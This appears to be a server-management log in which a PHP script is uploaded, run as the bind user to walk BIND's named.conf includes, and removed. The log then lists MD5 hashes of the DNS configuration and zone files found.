MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 13:44:44: Establishing a connection
2026-02-09 13:44:44: 

PUT: /tmp/pkp952114

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 13:44:45: 

runuser -l bind -s /bin/bash -c '/tmp/pkp952114; rm /tmp/pkp952114'

2026-02-09 13:44:45: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 14c1edeb05e4031ffc2f3b7e0fb4d902
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 13:44:47: Establishing a connection
2026-02-09 13:44:47: 

PUT: /tmp/pkp592982

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 13:44:47: 

runuser -l bind -s /bin/bash -c '/tmp/pkp592982; rm /tmp/pkp592982'

2026-02-09 13:44:47: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
